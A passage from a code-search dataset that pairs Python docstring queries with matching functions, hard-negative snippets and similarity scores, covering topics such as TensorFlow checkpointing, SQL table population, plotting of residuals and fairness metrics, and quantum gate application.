]
}
} | [
"def write_saver_defs(self):\n assert self.savers_constructed\n full_saver_def = self.full_saver.as_saver_def()\n full_file = self.params.save_dir+self.params.model_name+\"_v\"+self.params.version+\".def\"\n with open(full_file, \"wb\") as f:\n f.write(full_saver_def.SerializeToString())\n self.... | [
"0.7064961",
"0.6515147",
"0.650391",
"0.59408104",
"0.58986694",
"0.5875582",
"0.5864783",
"0.5816778",
"0.5780104",
"0.5728583",
"0.5717031",
"0.5703805",
"0.5703805",
"0.56765556",
"0.5646373",
"0.5643613",
"0.5643265",
"0.56159675",
"0.561299",
"0.5607883",
"0.56031144",
... | 0.5938409 | 4 |
Save the saveable objects to a checkpoint with `file_prefix`. | def save(self, file_prefix, options=None):
options = options or checkpoint_options.CheckpointOptions()
# IMPLEMENTATION DETAILS: most clients should skip.
#
# Suffix for any well-formed "checkpoint_prefix", when sharded.
# Transformations:
# * Users pass in "save_path" in save() and restore(). ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def save(self, file_prefix, options=None):\n options = options or checkpoint_options.CheckpointOptions()\n tensor_names = []\n tensors = []\n slice_specs = []\n for checkpoint_key, tensor_slices in self._tensor_slice_dict.items():\n for slice_spec, tensor in tensor_slices.items():\n if i... | [
"0.78489673",
"0.72668874",
"0.70105153",
"0.6881262",
"0.6406851",
"0.6393002",
"0.6343004",
"0.6299223",
"0.6299223",
"0.6299223",
"0.6275086",
"0.62643564",
"0.6264212",
"0.6264104",
"0.62639993",
"0.6254322",
"0.6253772",
"0.62144583",
"0.61729413",
"0.61586666",
"0.61399... | 0.80512387 | 0 |
Restore the saveable objects from a checkpoint with `file_prefix`. | def restore(self, file_prefix, options=None):
options = options or checkpoint_options.CheckpointOptions()
def restore_fn():
restore_fn_inputs = {}
restore_fn_input_count = {
fn: len(keys) for fn, keys in self._restore_fn_to_keys.items()}
restore_ops = {}
# Sort by device name... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def restore(self, file_prefix, options=None):\n options = options or checkpoint_options.CheckpointOptions()\n tensor_names = []\n tensor_dtypes = []\n slice_specs = []\n\n for checkpoint_key, tensor_slices in self._tensor_slice_dict.items():\n for slice_spec, tensor in tensor_slices.items():\n ... | [
"0.7710502",
"0.7426955",
"0.71934044",
"0.70837396",
"0.70837396",
"0.70837396",
"0.690655",
"0.6745984",
"0.6577562",
"0.646206",
"0.6419114",
"0.63269955",
"0.6172737",
"0.61575806",
"0.6141102",
"0.60786045",
"0.60416305",
"0.60324484",
"0.6001584",
"0.59863573",
"0.59766... | 0.74891186 | 1 |
Add original question, related question, comments of related question pairs and original, comments of related question pairs, each having different labels. | def parse2016(filename, qdict, cdict):
tree = ET.parse(filename)
root = tree.getroot()
for child in root:
# Each child represents a new (original question, related question) pair
orgq_id = child.attrib["ORGQ_ID"]
relq_id = child[2].attrib["THREAD_SEQUENCE"]
orgq_comment... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _add_descriptors(related):\n\n for r in related:\n r[\"descriptors\"] = []\n for edge in G.edges(data=True):\n sibling_idx = _get_connected(edge, r[\"tokenIndex\"])\n if sibling_idx and (A.lookup[int(sibling_idx)][\"pos\"] == \"JJ\" or edge[2][\"dep\"] in [\"amod\", \"com... | [
"0.5727858",
"0.54750276",
"0.5441489",
"0.5394564",
"0.52960277",
"0.517159",
"0.5138674",
"0.5100325",
"0.5044202",
"0.50028664",
"0.50023335",
"0.49675927",
"0.4959247",
"0.4939857",
"0.49312538",
"0.49292618",
"0.49193037",
"0.4916655",
"0.4898273",
"0.48525104",
"0.48473... | 0.49838543 | 11 |
Main entry point for subcommand. | def setup_argparse(parser: argparse.ArgumentParser) -> None:
subparsers = parser.add_subparsers(dest="landingzone_cmd")
setup_argparse_list(subparsers.add_parser("list", help="List landing zones."))
setup_argparse_retrieve(subparsers.add_parser("retrieve", help="Retrieve landing zone."))
setup_argparse... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def cli():\n pass # do nothing here, it just defines the name for other subcommands",
"def main():\n\n args = parse_arguments(sys.argv[1:])\n configure_logging(args.debug)\n\n if(args.subcommand):\n logging.debug(\"Executing sub-command \" + args.subcommand)\n\n if(args.subcommand == \"bui... | [
"0.76060915",
"0.74839264",
"0.7368959",
"0.73298484",
"0.7241038",
"0.7123426",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
"0.7120817",
... | 0.0 | -1 |
Main entry point for landing zone command. | def run(config, toml_config, args, parser, subparser):
if not args.landingzone_cmd: # pragma: nocover
return run_nocmd(config, args, parser, subparser)
else:
config = LandingZoneConfig.create(args, config, toml_config)
return args.landingzone_cmd(config, toml_config, args, parser, subpa... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def main() -> None:\n\n data = Ground(sys.argv[1])\n DeliveryMan.show_route(data.coordinates)",
"def Run(self, args):\n project = properties.VALUES.core.project.Get(required=True)\n zone = {}\n zone['dnsName'] = args.dns_name\n zone['name'] = args.zone\n zone['description'] = args.descriptio... | [
"0.69619477",
"0.6414897",
"0.6252262",
"0.6175504",
"0.59503347",
"0.59487396",
"0.59453166",
"0.5835306",
"0.58340424",
"0.58282",
"0.5816947",
"0.5801014",
"0.5773889",
"0.5770805",
"0.5750875",
"0.5741733",
"0.5728984",
"0.5725193",
"0.5716316",
"0.56993407",
"0.5698184",... | 0.7543086 | 0 |
A fast way to calculate the unitary transformation acting on some sites. | def fast_dot(sites, gate, state, N, layer=None):
n = len(sites)
layer = layer if layer else range(2 ** N)
index = [utils.index(i, N, sites) for i in layer]
gate = gate.T
trans_mat = gate[:, index]
v = np.array(layer).reshape(1, len(layer)).repeat(2 ** n, 0)
for base in range(2 ** n):
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test__inverse_transform_continuous(self):",
"def local_basis_transform(basis1, basis0):\n\n U_local = np.conj(basis1).T @ basis0\n return(U_local)\n\n \"\"\"what bases? For each qubit sig_x sig_y sig_z\"\"\"",
"def unit_transform(self, x, **kwargs):\n if len(kwargs) > 0:\n self.u... | [
"0.5803933",
"0.5576571",
"0.55566216",
"0.55502826",
"0.5536483",
"0.55344856",
"0.55269116",
"0.5491953",
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"0.54064965",
"0.54012805",
"0.5370834",
"0.5365219",
"0.5343112",
"0.5342246",
"0.533733... | 0.0 | -1 |
A fast way to calculate the unitary transformation acting on some sites. | def fast_dot_(sites, gate, state, N, layer=None):
n = len(sites)
layer = layer if layer else range(2 ** N)
index = [utils.index(i, N, sites) for i in layer]
trans_mat = gate[:, index]
v = np.array(layer).reshape(1, len(layer)).repeat(2 ** n, 0)
for base in range(2 ** n):
for site in rang... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test__inverse_transform_continuous(self):",
"def local_basis_transform(basis1, basis0):\n\n U_local = np.conj(basis1).T @ basis0\n return(U_local)\n\n \"\"\"what bases? For each qubit sig_x sig_y sig_z\"\"\"",
"def unit_transform(self, x, **kwargs):\n if len(kwargs) > 0:\n self.u... | [
"0.5804365",
"0.55773914",
"0.5556903",
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"0.5538288",
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"0.540305",
"0.53711987",
"0.53659594",
"0.53433025",
"0.5343076",
"0.533989... | 0.0 | -1 |
A fast way to calculate the unitary transformation acting on some sites. | def fast_dot_2(sites, gate, state, N, layer=None, relation=None):
# n = len(sites)
layer = layer if layer else range(2 ** N)
final_state = dict()
for node in layer:
index = utils.index(node, N, sites)
for v in relation[node]:
index1 = utils.index(v, N, sites)
fina... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test__inverse_transform_continuous(self):",
"def local_basis_transform(basis1, basis0):\n\n U_local = np.conj(basis1).T @ basis0\n return(U_local)\n\n \"\"\"what bases? For each qubit sig_x sig_y sig_z\"\"\"",
"def unit_transform(self, x, **kwargs):\n if len(kwargs) > 0:\n self.u... | [
"0.5804814",
"0.55764157",
"0.5555819",
"0.55519205",
"0.5538079",
"0.5534247",
"0.55277663",
"0.54914075",
"0.5486117",
"0.547269",
"0.5463509",
"0.5463487",
"0.54449314",
"0.54087836",
"0.5406919",
"0.54007906",
"0.5370393",
"0.5365757",
"0.5343715",
"0.5343085",
"0.5337359... | 0.0 | -1 |
A fast way to calculate the unitary transformation acting on some sites. | def fast_dot_1(sites, gate, state, N, layer=None, relation=None):
# n = len(sites)
layer = layer if layer else range(2 ** N)
final_state = dict()
for node in layer:
index = utils.index(node, N, sites)
for v in relation[node]:
index1 = utils.index(v, N, sites)
fina... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test__inverse_transform_continuous(self):",
"def local_basis_transform(basis1, basis0):\n\n U_local = np.conj(basis1).T @ basis0\n return(U_local)\n\n \"\"\"what bases? For each qubit sig_x sig_y sig_z\"\"\"",
"def unit_transform(self, x, **kwargs):\n if len(kwargs) > 0:\n self.u... | [
"0.5804814",
"0.55764157",
"0.5555819",
"0.55519205",
"0.5538079",
"0.5534247",
"0.55277663",
"0.54914075",
"0.5486117",
"0.547269",
"0.5463509",
"0.5463487",
"0.54449314",
"0.54087836",
"0.5406919",
"0.54007906",
"0.5370393",
"0.5365757",
"0.5343715",
"0.5343085",
"0.5337359... | 0.0 | -1 |
Method determine current user | def get_queryset(self):
return Event.objects.all().filter(user_id=self.request.user) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_current_user(self):\n return None",
"def get_current_user(self):\n return self.current_user",
"def current_user_info():\n\n return current_user",
"def get_current_user(self):\r\n return self.jira.current_user()",
"def get_user(self):\n return None",
"def _get_current_us... | [
"0.81373155",
"0.79817206",
"0.77589864",
"0.76861507",
"0.76659864",
"0.7654069",
"0.7632394",
"0.7624174",
"0.7571075",
"0.753077",
"0.7523433",
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"0.7431494",
"0.73773813",
"0.7372881",
"0.7333388",
"0.7333388",
"0.732928",
"0.7328477",
"0.73091877",
"0.7307454... | 0.0 | -1 |
Override method from djrestauth library to login with username or email | def login(self):
self.user = self.serializer.validated_data['user'] or self.serializer.validated_data['email'] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def user_login(request):\n if \"email\" in request.DATA and \"password\" in request.DATA:\n user = authenticate(\n request,\n username=request.DATA[\"email\"],\n password=request.DATA[\"password\"],\n )\n if user is not None:\n login(request, user... | [
"0.68783975",
"0.66309136",
"0.66066015",
"0.66062045",
"0.6598922",
"0.6579894",
"0.6574915",
"0.6515354",
"0.65140116",
"0.65127194",
"0.65111333",
"0.6499497",
"0.6488138",
"0.646653",
"0.6461104",
"0.64396834",
"0.64242405",
"0.6423767",
"0.6421206",
"0.64155567",
"0.6401... | 0.68613046 | 1 |
Convert numpy array of noisy coefs to dataframe for plotting. | def arr_to_df(coefs_noisy, n_arr, coefs_id):
out = pd.DataFrame(coefs_noisy, columns=n_arr)
out = pd.DataFrame(out.stack()).reset_index()
out.columns = ['component', 'n', 'value']
out = out.assign(id=coefs_id)
return out | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def vec_to_df(coefs, n_arr, coefs_id):\n out = pd.DataFrame({'component': 'L2_dist', 'n': n_arr, 'value': coefs,\n 'id': coefs_id})\n return out",
"def as_DF(self):\n\n gs_df = pd.DataFrame(self.P, columns=self.xvec, index=self.yvec)\n gs_df.columns.name = 'x'\n ... | [
"0.5676058",
"0.5650214",
"0.5565525",
"0.55317235",
"0.55146766",
"0.5458486",
"0.5452004",
"0.54493064",
"0.54056114",
"0.539738",
"0.5363231",
"0.5359971",
"0.5354889",
"0.5327784",
"0.5323152",
"0.5283996",
"0.5249769",
"0.52473086",
"0.52459276",
"0.5223076",
"0.52193254... | 0.7141686 | 0 |
Convert 1d numpy array to dataframe for plotting. | def vec_to_df(coefs, n_arr, coefs_id):
out = pd.DataFrame({'component': 'L2_dist', 'n': n_arr, 'value': coefs,
'id': coefs_id})
return out | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def from_nparray_to_df(nparray: np.ndarray) -> pd.DataFrame:\n return pd.DataFrame(data=nparray[1:, 1:],\n index=nparray[1:, 0],\n columns=nparray[0, 1:])",
"def xarray_to_df(file_path):\n df = xr.open_dataset(file_path).to_dataframe()\n df = df.reset_index(... | [
"0.7372338",
"0.6829325",
"0.67939925",
"0.67582446",
"0.6741496",
"0.6593171",
"0.65855",
"0.6417954",
"0.6330275",
"0.6313056",
"0.6305333",
"0.6293269",
"0.62197083",
"0.6147745",
"0.6120145",
"0.6108317",
"0.6108003",
"0.6107391",
"0.609676",
"0.6074362",
"0.6046519",
"... | 0.54785275 | 95 |
Combine LP coefficients from simulation output into a dataframe. | def combine_coefs(results, n_arr):
obj = pd.DataFrame(
{'component': 'L2', 'n': n_arr, 'value': res['dist_obj'], 'id': 'obj'})
coefs_noisy = pd.concat([
to_df(results['obj_noisy'], n_arr, 'obj'),
to_df(results['pos_noisy'], n_arr, 'pos'),
to_df(results['neg_noisy'], n_arr, 'neg'... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make_output_df(self):\n df = pd.concat([pd.DataFrame(dat) for dat in [self.qdata, self.pdata]], axis=1)\n columns = np.hstack(([['{}{}'.format(x, c) for c in self.actions] for x in ['q', 'p']]))\n df.columns = columns\n df.insert(0, 'trial', np.arange(1, df.shape[0]+1))\n df[... | [
"0.6021868",
"0.5933591",
"0.5704054",
"0.5667305",
"0.5621852",
"0.55554664",
"0.5448244",
"0.54471153",
"0.54371923",
"0.5428466",
"0.5423558",
"0.5409512",
"0.537702",
"0.5357138",
"0.5353326",
"0.53367823",
"0.5335095",
"0.52969015",
"0.52878666",
"0.52795756",
"0.5275073... | 0.0 | -1 |
Plot 'true' and noisy coefficients. | def plot_coefs(results):
coefs_noisy = pd.concat([
arr_to_df(results['obj_noisy'], n_arr, 'obj'),
vec_to_df(results['dist_obj'], n_arr, 'obj'),
arr_to_df(results['pos_noisy'], n_arr, 'pos'),
vec_to_df(results['dist_pos'], n_arr, 'pos'),
arr_to_df(results['neg_noisy'], n_arr, ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plot_true(self, ax):\n t = self.t\n x_true = self.x_true\n b = self.b\n\n ax.plot(t, x_true, 'k-', label='true image', lw=1.5)\n ax.plot(t, b, 'ro', label='blurred')\n ax.set_title(r'True')\n ax.set_xlabel(r'$t$')\n ax.set_ylabel(r'$x$')\n leg = ax.legend(loc='upper le... | [
"0.71557194",
"0.6376786",
"0.6281781",
"0.62380886",
"0.6158362",
"0.6118943",
"0.61107737",
"0.6098007",
"0.60626245",
"0.6027678",
"0.59956294",
"0.5971492",
"0.5943495",
"0.59327364",
"0.5911246",
"0.5910142",
"0.5910142",
"0.5910142",
"0.5909054",
"0.59012383",
"0.587855... | 0.6278804 | 3 |
Plot risk and fairness gaps. | def plot_metrics(results, epsilon_pos, epsilon_neg):
## Plot risk and fairness gaps as a function of sample size,
## with true minimum risk and true fairness gaps for reference.
metrics_Y0 = pd.concat(results['metrics_Y0_noisy'], keys=n_arr)
metrics_Y0 = metrics_Y0.reset_index().drop(columns='level_1')... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plot_scenario_distribution(self):\n x = self.arms\n\n y = self.df.groupby('price').mean().Converted[x]\n y_sex_0 = self.df[self.df.Sex == 0].groupby('price').mean().Converted[x]\n y_sex_1 = self.df[self.df.Sex == 1].groupby('price').mean().Converted[x]\n y_age_0 = self.df[sel... | [
"0.62412286",
"0.6003811",
"0.5952074",
"0.59471977",
"0.5879272",
"0.5722639",
"0.55827194",
"0.5509448",
"0.54747474",
"0.54674083",
"0.5467399",
"0.54673696",
"0.54360753",
"0.5435962",
"0.5407168",
"0.540194",
"0.5389398",
"0.53769875",
"0.537178",
"0.53634727",
"0.535109... | 0.6439876 | 0 |
Plot metrics for Task (1) simulations. Need to be able to accommodate either one or multiple settings of the epsilons. | def plot_metrics2(df, n_arr, risk_best, epsilon_pos, epsilon_neg, row, col,
**kwargs):
xlim = (min(n_arr), max(n_arr))
# g = sns.FacetGrid(df, row = row, col = col,
# col_order = ['risk', 'gap_FPR', 'gap_FNR'], xlim = xlim,
# ylim = (0, 1)... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plot_fig2(tables_task_ids):\n from snep.tables.experiment import ExperimentTables\n\n tables, task_ids = tables_task_ids['test0']\n assert isinstance(tables, ExperimentTables) # This allows PyCharm to autocomplete method names for tables\n params = tables.get_general_params(True)\n param_ranges... | [
"0.6807533",
"0.64400905",
"0.6324308",
"0.62633353",
"0.62393457",
"0.622306",
"0.6177711",
"0.6104051",
"0.60436475",
"0.60030115",
"0.5995861",
"0.5978587",
"0.5964551",
"0.5948441",
"0.5945955",
"0.5935974",
"0.5909216",
"0.59056044",
"0.5893692",
"0.58903974",
"0.5884194... | 0.0 | -1 |
Plot metrics for Task (1) simulations. Need to be able to accommodate either one or multiple settings of the epsilons. | def plot_metrics3(df, n_arr, risk_best, epsilon_pos, epsilon_neg, row, col,
**kwargs):
xlim = (min(n_arr), max(n_arr))
# g = sns.FacetGrid(df, row = row, col = col,
# col_order = ['risk', 'gap_FPR', 'gap_FNR'], xlim = xlim,
# ylim = (0, 1)... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plot_fig2(tables_task_ids):\n from snep.tables.experiment import ExperimentTables\n\n tables, task_ids = tables_task_ids['test0']\n assert isinstance(tables, ExperimentTables) # This allows PyCharm to autocomplete method names for tables\n params = tables.get_general_params(True)\n param_ranges... | [
"0.6807081",
"0.64391947",
"0.6323594",
"0.62626004",
"0.62387973",
"0.62216854",
"0.6178396",
"0.61032397",
"0.60428965",
"0.6003009",
"0.59949005",
"0.59768206",
"0.5963889",
"0.59477186",
"0.59443283",
"0.5934731",
"0.5910518",
"0.59052545",
"0.5892568",
"0.5889081",
"0.58... | 0.0 | -1 |
'Center' and scale the raw values. | def transform_metrics(res, risk, risk_change, epsilon_pos, epsilon_neg,
scale=0.5,
id_vars=['mc_iter', 'n']):
settings = res.scenario.unique()
out = res.pivot_table(index=id_vars, columns=['metric', 'scenario'],
values='value')
mult = np... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def scale(self):",
"def _center_scale_xy(X, Y, scale=True):\n # center\n x_mean = torch.mean(X, axis=0)\n X -= x_mean\n y_mean = torch.mean(Y, axis=0)\n Y -= y_mean\n # scale\n if scale:\n x_std = torch.std(X, dim = 0)\n x_std[x_std == 0.0] = 1.0\n X = X/x_std\n y... | [
"0.6877017",
"0.68567073",
"0.68347275",
"0.6381293",
"0.63585526",
"0.6344079",
"0.6343077",
"0.6312164",
"0.62491274",
"0.6248472",
"0.6201068",
"0.61851996",
"0.61619717",
"0.6146685",
"0.61427844",
"0.61366594",
"0.6111361",
"0.60955715",
"0.6092616",
"0.60897845",
"0.608... | 0.0 | -1 |
Plot metrics for Task (2) simulations. Need to be able to accommodate either one or multiple settings of the epsilons. | def plot_metrics_est(df, metrics_pre, metrics_post, n_arr, row='scenario',
col='metric', **kwargs):
risk_pre = metrics_pre.query("metric=='risk'")['value'].values[0]
risk_post = metrics_post.query("metric=='risk'")['value'].values[0]
risk_change = metrics_post.query("metric=='risk_chang... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plot_fig2(tables_task_ids):\n from snep.tables.experiment import ExperimentTables\n\n tables, task_ids = tables_task_ids['test0']\n assert isinstance(tables, ExperimentTables) # This allows PyCharm to autocomplete method names for tables\n params = tables.get_general_params(True)\n param_ranges... | [
"0.7029315",
"0.6479961",
"0.6431651",
"0.6284009",
"0.61860913",
"0.6135593",
"0.6135398",
"0.6085464",
"0.60504955",
"0.602548",
"0.6021803",
"0.60100317",
"0.6005149",
"0.599966",
"0.59906054",
"0.59872437",
"0.59871036",
"0.59864694",
"0.59782356",
"0.5970009",
"0.5963065... | 0.0 | -1 |
Validate the value looks like an IP address. | def is_ip_address(value, messages=None):
if value is None:
return
_messages = {
'type-string': "must be a string",
'invalid': "is invalid",
}
if messages:
_messages.update(messages)
if not isinstance(value, basestring):
raise Invalid(_messages['type-string'])
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def is_ip_address(value):\r\n # IPv6 added with Django 1.4\r\n from django.core.validators import validate_ipv46_address as ip_validator\r\n\r\n try:\r\n ip_validator(value)\r\n except ValidationError:\r\n return False\r\n return True",
"def is_ip(value):\n try:\n IP(value)... | [
"0.83473444",
"0.8229147",
"0.7918661",
"0.76669145",
"0.75844365",
"0.7565428",
"0.7476944",
"0.7373973",
"0.7367211",
"0.73561",
"0.73054147",
"0.72608477",
"0.7196808",
"0.7177064",
"0.71617794",
"0.7145235",
"0.71355194",
"0.7122413",
"0.71152747",
"0.70877236",
"0.708139... | 0.7694819 | 3 |
Plot the residuals between measured and predicted values. | def residuals(y_true, y_pred, ax=None):
_check_parameter_validity(y_true, y_pred)
if ax is None:
ax = plt.gca()
# horizontal line for residual=0
ax.axhline(y=0)
ax.scatter(y_pred, y_true - y_pred)
_set_ax_settings(ax, "Predicted Value", "Residuals", "Residuals Plot")
return ax | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _plot_resid_vs_fitted(self, ax):\n\n res = self._model.fit()\n\n ax.plot(res.fittedvalues, res.resid, '.')\n ax.set_xlabel('Fitted ' + self._model.endog_names)\n ax.set_ylabel('Raw residual')\n plt.sca(ax)\n plt.axhline(color='k')",
"def residual_plot(targets, predic... | [
"0.76177293",
"0.74306864",
"0.73046005",
"0.7271648",
"0.71746546",
"0.70974493",
"0.70785415",
"0.7046744",
"0.70070755",
"0.69879323",
"0.68859196",
"0.6638787",
"0.6637704",
"0.65629137",
"0.6533907",
"0.6488404",
"0.64341474",
"0.64010227",
"0.63988537",
"0.63487905",
"0... | 0.7854943 | 0 |
Plot the scatter plot of measured values v. predicted values, with an identity line and a best fitted line to show the prediction difference. | def prediction_error(y_true, y_pred, ax=None):
_check_parameter_validity(y_true, y_pred)
if ax is None:
ax = plt.gca()
model = LinearRegression()
if isinstance(y_true, pd.Series):
y_true = y_true.values
y_reshaped = y_true.reshape((-1, 1))
# it is necessary to fit the model wi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def plot_actual_predicted(self):\n predicted = [self.f(x, self.coefficients) for x in self.x_values]\n\n plt.scatter(self.x_values, self.y_values, label = \"Actual data\", c = 'b')\n plt.plot(self.x_values, predicted, label = \"Predicted data\", c = 'r')\n plt.title(f\"Graph of Prediec... | [
"0.7619803",
"0.73825103",
"0.6910162",
"0.6828525",
"0.6798043",
"0.67719805",
"0.6752657",
"0.6736895",
"0.6719012",
"0.6635017",
"0.6582754",
"0.65477663",
"0.646825",
"0.6449293",
"0.6447603",
"0.6417375",
"0.64155245",
"0.64023745",
"0.6390852",
"0.6390345",
"0.6378697",... | 0.60029083 | 47 |
Complete the images table of the database with the relevant values of the directory images. | def complete_images_table(self, table):
# Variable initialization
cmp_double = 0
cmp_img = 0
# Connection to database
conn, cursor = connection_database(self.db_name, self.host, self.user, self.password, self.local, self.ssl_ca)
# Get images paths
image... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def load_images(image_filename):\n\n # Write code here to loop over image data and populate DB.",
"def show_images(images, db):\n images = [int(image) for image in images]\n files = get_img_files(images, db)\n show_files(files)",
"def add_images(imagefiles, description, tags, users_r, \n ... | [
"0.6612568",
"0.65215194",
"0.6491594",
"0.6421915",
"0.6367421",
"0.62234783",
"0.61760515",
"0.61658376",
"0.6102105",
"0.6085422",
"0.5987134",
"0.59791154",
"0.5875186",
"0.58479464",
"0.5841986",
"0.583527",
"0.5827648",
"0.5797089",
"0.578143",
"0.57734877",
"0.57726663... | 0.77361715 | 0 |
Connects to the SQL server and stores the results of the comparisons in a csv. | def get_duels(self, csv_file, table):
conn, curs = connection_database(self.db_name, self.host, self.user, self.password, self.local, self.ssl_ca)
query = "SELECT * FROM {};".format(table)
curs.execute(query)
result = curs.fetchall()
end_connection(conn, curs)
# W... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_sql_to_csv():\n csv_outfile = 'optwrf_database.csv'\n db_conn = conn_to_db('optwrf.db')\n sql_to_csv(csv_outfile, db_conn)\n close_conn_to_db(db_conn)\n assert os.path.exists(csv_outfile) == 1",
"def main():\n #use automationassets to get credentials \n cred = automationassets.get_a... | [
"0.60724294",
"0.5836433",
"0.56998223",
"0.5647265",
"0.55306256",
"0.55271506",
"0.551484",
"0.54908764",
"0.53698635",
"0.5367699",
"0.5367317",
"0.5350177",
"0.53416455",
"0.53352654",
"0.5332152",
"0.53131926",
"0.52831393",
"0.52660966",
"0.52494246",
"0.5238187",
"0.51... | 0.5951407 | 1 |
Creates mysql.connector object to connect to a mysql database. | def connection_database(db_name, host, user, password, local, ssl_ca):
if local:
conn = mysql.connector.connect(
host=host,
user=user,
passwd=password,
database=db_name
)
else:
conn = mysql.connector.connect(
host=host... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def getConnection(self):\n if (not self.initialized):\n logging.error(\"Module is not initialized\")\n \n conn_options = {\n 'user': self.user,\n 'password' : self.password,\n 'host' : self.host,\n 'port' : self.port,\n 'databas... | [
"0.7507807",
"0.7188535",
"0.7169623",
"0.7144462",
"0.71245915",
"0.70902425",
"0.7044684",
"0.70395124",
"0.6949333",
"0.6933126",
"0.68984056",
"0.6884161",
"0.68438727",
"0.68037325",
"0.67965716",
"0.6786419",
"0.67676234",
"0.6756724",
"0.67451376",
"0.6741216",
"0.6731... | 0.684107 | 13 |
Commit queries of a connect instance. | def commit_query(conn):
conn.commit() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def commitQuery(self):\r\n\t\tself.session.commit()",
"def commit(self):\n self.conn.commit()",
"def commit(self):\n self.__connection.commit()",
"def commit(self):\n self._connection.execute_nonquery(\"sql\", \"COMMIT\", True)",
"def commit(self) -> None:\n self._connector.comm... | [
"0.7059963",
"0.69966274",
"0.6971735",
"0.6961581",
"0.6949486",
"0.6940861",
"0.6940398",
"0.6907652",
"0.6823024",
"0.681941",
"0.67607075",
"0.6757692",
"0.6726335",
"0.6708127",
"0.6663223",
"0.66234124",
"0.6611488",
"0.65827453",
"0.6555924",
"0.65552056",
"0.65522164"... | 0.7103915 | 0 |
Closes connection to a database of a connect instance. | def end_connection(conn, cur):
cur.close()
conn.close() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def disconnect_from_db(self):\n self.db_cur.close()\n self.db_conn.close()",
"def close_db_connection(cls):\n db.close()",
"def close_connection(exception):\n db = database()\n\n if db is not None:\n db.close()",
"def close_db(error):\n debug(\"Disconnecting FROM DB.\")\n... | [
"0.7725617",
"0.767785",
"0.76573586",
"0.7654208",
"0.75856876",
"0.7571304",
"0.7563883",
"0.7534314",
"0.75241053",
"0.7508918",
"0.74842125",
"0.74418056",
"0.7412428",
"0.73263425",
"0.73207086",
"0.7296465",
"0.7273986",
"0.72537464",
"0.7222091",
"0.71770734",
"0.71610... | 0.0 | -1 |
Execute a SQL INSERT INTO queries | def insert_into(cursor, table, columns, values):
columns_str = columns[0]
values_str = "%s"
for col in columns[1:]:
columns_str += ", " + col
values_str += ", %s"
query = "INSERT INTO {} ({}) VALUES ({})".format(table, columns_str, values_str)
cursor.execute(query, values) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def insert_into_tables(cur, conn):\n for query in insert_table_queries:\n cur.execute(query)\n conn.commit()",
"def _query_insert(self, sql, data=None):\n\n conn = psycopg2.connect(self.connect_args)\n cur = conn.cursor()\n cur.execute(sql, data)\n conn.commit()\n ... | [
"0.7637414",
"0.75174606",
"0.73767686",
"0.736977",
"0.7310605",
"0.7295746",
"0.72917",
"0.7261612",
"0.72264344",
"0.72264344",
"0.72264344",
"0.72264344",
"0.7150109",
"0.70023865",
"0.6999856",
"0.69421756",
"0.6873257",
"0.68696296",
"0.6832881",
"0.6804258",
"0.6792568... | 0.6529839 | 34 |
x_min(need to be assigned) x_max(need to be assigned) y_min(need to be assigned) y_max(need to be assigned) path_loss_factor(4.0) small_fade("Rayleigh") noise("Gaussian") big_fade("no_big_fade") bs_number(need to be assigned) layer(1) power(1.0) distribution("uniform") ue_number(need to be assigned) distribution("unifo... | def __init__(self, x_min, x_max, y_min, y_max, bs_number, ue_number,
layer=1, power=1.0, bs_distribution="square_grid",
